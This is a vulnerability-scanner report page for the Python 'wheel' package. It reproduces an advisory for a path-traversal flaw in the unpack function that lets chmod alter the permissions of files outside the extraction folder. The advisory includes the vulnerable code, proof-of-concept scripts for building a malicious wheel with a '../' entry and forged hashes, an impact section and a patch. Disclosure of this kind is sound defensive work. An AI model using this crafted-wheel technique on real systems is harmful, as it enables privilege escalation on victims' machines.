pypi package report

Is wheel safe?

2 known vulnerabilities, worst severity HIGH.

// reach

3 direct dependencies

none carry a known advisory

    300 packages depend on it

    an advisory here reaches each of them

    Create a free accountfor every dependency path, dependent and what to upgrade
    // ai model usage

    No published models are known to use this package.


    cvss
    7.1
    high

    CVSS v3.1 base score out of 10

    epss
    0.35%
    low

    chance of exploitation in 30 days, 29th percentile of all CVEs

    xyz score
    4.7
    medium

    CyberXYZ composite out of 10

    fig. 01 — GHSA-8rrh-rw8j-w5fx, the advisory selected below

    // 2 advisories

    GHSA-8rrh-rw8j-w5fx

    HIGHGitHub ratingCVE-2026-24049
    // summary
    • Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification.
    • Root Cause Component: wheel.cli.unpack.unpack function.
    • Affected Packages:
    • wheel (Upstream source)
    • setuptools (Downstream, vendors wheel)
    • Severity: High (Allows modifying system file permissions).
    // details

    The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path.

    # Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)
    for zinfo in wf.filelist:
        wf.extract(zinfo, destination)  # (1) Extraction is handled safely by zipfile
    
        # (2) VULNERABILITY:
        # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.
        # If zinfo.filename contains "../", this targets files outside the destination.
        permissions = zinfo.external_attr >> 16 & 0o777
        destination.joinpath(zinfo.filename).chmod(permissions)
    // poc

    I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack.

    Prerequisites: pip install setuptools

    Step 1: Generate the Malicious Wheel (gen_poc.py) This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list.

    import zipfile
    import hashlib
    import base64
    import os
    
    def urlsafe_b64encode(data):
        """
        Helper function to encode data using URL-safe Base64 without padding.
        Required by the Wheel file format specification.
        """
        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')
    
    def get_hash_and_size(data_bytes):
        """
        Calculates SHA-256 hash and size of the data.
        These values are required to construct a valid 'RECORD' file,
        which is used by the 'wheel' library to verify integrity.
        """
        digest = hashlib.sha256(data_bytes).digest()
        hash_str = "sha256=" + urlsafe_b64encode(digest)
        return hash_str, str(len(data_bytes))
    
    def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"):
        print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")
    
        # 1. Prepare Standard Metadata Content
        # These are minimal required contents to make the wheel look legitimate.
        wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
        metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n"
       
        # 2. Define Malicious Payload (Path Traversal)
        # The content doesn't matter, but the path does.
        payload_content = b"PWNED by Path Traversal"
    
        # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'
        # The vulnerability allows 'chmod' to affect this path directly.
        malicious_path = "../../poc_target.txt"
    
        # 3. Calculate Hashes for Integrity Check Bypass
        # The 'wheel' library verifies if the file hash matches the RECORD entry.
        # To bypass this check, we calculate the correct hash for our malicious file.
        wheel_hash, wheel_size = get_hash_and_size(wheel_content)
        metadata_hash, metadata_size = get_hash_and_size(metadata_content)
        payload_hash, payload_size = get_hash_and_size(payload_content)
    
        # 4. Construct the 'RECORD' File
        # The RECORD file lists all files

    Step 2: Run the Exploit (exploit.py)

    from pathlib import Path
    import sys
    
    # Demonstrating impact on setuptools
    try:
        from setuptools._vendor.wheel.cli.unpack import unpack
        print("[*] Loaded unpack from setuptools")
    except ImportError:
        from wheel.cli.unpack import unpack
        print("[*] Loaded unpack from wheel")
    
    # 1. Setup Target (Read-Only system file simulation)
    target = Path("poc_target.txt")
    target.write_text("SENSITIVE CONFIG")
    target.chmod(0o400) # Read-only
    print(f"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}")
    
    # 2. Run Vulnerable Unpack
    # The wheel contains "../../poc_target.txt".
    # unpack() will extract safely, BUT chmod() will hit the actual target file.
    try:
        unpack("evil-1.0-py3-none-any.whl", "unpack_dest")
    except Exception as e:
        print(f"[!] Ignored expected extraction error: {e}")
    
    # 3. Check Result
    final_perms = oct(target.stat().st_mode)[-3:]
    print(f"[*] Final Perms: {final_perms}")
    
    if final_perms == "777":
        print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!")
    else:
        print("[-] Attack failed.")

    result:

    // impact

    Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts.

    // recommended fix

    The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract().

    // suggested patch:
    # extract() returns the actual path where the file was written
    extracted_path = wf.extract(zinfo, destination)
    
    # Only apply chmod if a file was actually written
    if extracted_path:
        permissions = zinfo.external_attr >> 16 & 0o777
        Path(extracted_path).chmod(permissions)
    // cvss v3.1 vector

    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

    Attack vector
    Local
    Attack complexity
    Low
    Privileges required
    None
    User interaction
    Required
    Scope
    Unchanged
    Confidentiality
    None
    Integrity
    High
    Availability
    High

    Checked 2026-11-06 at 22:30 UTC. The most recent advisory here was published 2026-01-22. Updated continuously from NVD, GHSA, OSV and CNA feeds.

    Think a verdict here is wrong? Tell us — we respond within 2 business days.